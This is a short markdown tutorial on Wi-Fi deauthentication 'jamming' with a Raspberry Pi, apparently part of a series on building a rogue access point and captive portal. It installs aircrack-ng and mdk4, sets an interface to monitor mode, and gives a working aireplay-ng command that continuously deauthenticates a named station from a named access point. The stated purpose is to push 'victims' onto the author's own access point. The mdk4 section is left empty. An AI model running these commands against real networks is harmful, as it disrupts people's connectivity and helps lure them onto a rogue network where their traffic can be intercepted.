| # WI-FI Jamming with Raspberry PI | ||
|
|
||
| If you have read the previous tutorial [Wi-Fi Analysis](../WIFIAnalysis), you know your Wi-Fi environment around your location. Now you can immediately create an [Simple Access Point](../AccessPoint) and wait until the first victims come by themselves. You can also do this process a little faster -> The IEEE 802.11 (_Wi-Fi_) protocol contains the provision for a deauthentication frames. | ||
|
|
||
| ## Objective | ||
|
|
||
| The aim of this tutorial is to speed-up the process that stations will connect to your access point. | ||
|
|
||
| ## Precondition | ||
|
|
||
| You should already have read (_and successful carried out_) the following tutorials. | ||
|
|
||
| - [Setup Raspberry PI](../Setup) | ||
| - [Prepare Raspberry PI](../Preparation) | ||
| - [Wi-Fi Analysis](../WIFIAnalysis) | ||
|
|
||
| ## Install needed and/or optional packages | ||
|
|
||
| Install (_or ensure they are installed_) following packages. | ||
|
|
||
| ```shell | ||
| # update system (optional) | ||
| $ sudo apt update -y && sudo apt upgrade -y | ||
|
|
||
| # install optional packages (optional) | ||
| $ sudo apt install -y vim wireless-tools | ||
|
|
||
| # install needed packages | ||
| $ sudo apt install -y aircrack-ng mdk4 | ||
| ``` | ||
|
|
||
| ## Attention | ||
|
|
||
| > In this tutorial we need the `wlan1` interface in the so-called monitor mode. You cannot use the `wlan0` interface from the Raspberry PI for this. | ||
| If you have already set up an [Access Point](../AccessPoint) and/or a [Captive portal](../CaptivePortal), you should stop them now! | ||
|
|
||
| ```shell | ||
| # stop nodogsplash service | ||
| $ sudo systemctl stop nodogsplash | ||
|
|
||
| # stop hostapd service | ||
| $ sudo systemctl stop hostapd | ||
|
|
||
| # stop dnsmasq service | ||
| $ sudo systemctl stop dnsmasq | ||
| ``` | ||
|
|
||
| ## Monitor Mode | ||
|
|
||
| The Wi-Fi interface (_wlan1_) must be set into "monitor mode". | ||
|
|
||
| ```shell | ||
| # set interface down | ||
| $ sudo ip link set wlan1 down | ||
|
|
||
| # turn interface into monitor mode | ||
| $ sudo iwconfig wlan1 mode monitor | ||
|
|
||
| # set interface up | ||
| $ sudo ip link set wlan1 up | ||
| ``` | ||
|
|
||
| ## aireplay-ng (Aircrack-ng) | ||
|
|
||
| The Aircrack-ng suite includes many tools to assess Wi-Fi networks. Here we focus on `aireplay-ng` only. | ||
|
|
||
| ```shell | ||
| # show help (optional) | ||
| $ aireplay-ng --help | ||
|
|
||
| # start deauthentication attack | ||
| $ sudo aireplay-ng -0 0 -a 50:C7:BF:DC:4C:E8 -c E0:B5:2D:EA:18:A7 wlan1 | ||
| ``` | ||
|
|
||
| - `-0` means deauthentication mode | ||
| - `0` means send continuously deauthentication frames (_otherwise you can set a specific number_) | ||
| - `-a [mac address]` means MAC address of the access point | ||
| - `-c [mac address] means MAC address of the station | ||
| - `wlan1` means the interface`(_in monitor mode_) | ||
|
|
||
| ## mdk4 | ||
|
|
||
| ... | ||
|
|
||
| ```shell | ||
| # | ||
| $ | ||
|
|
||
| # | ||
| $ | ||
| ``` | ||
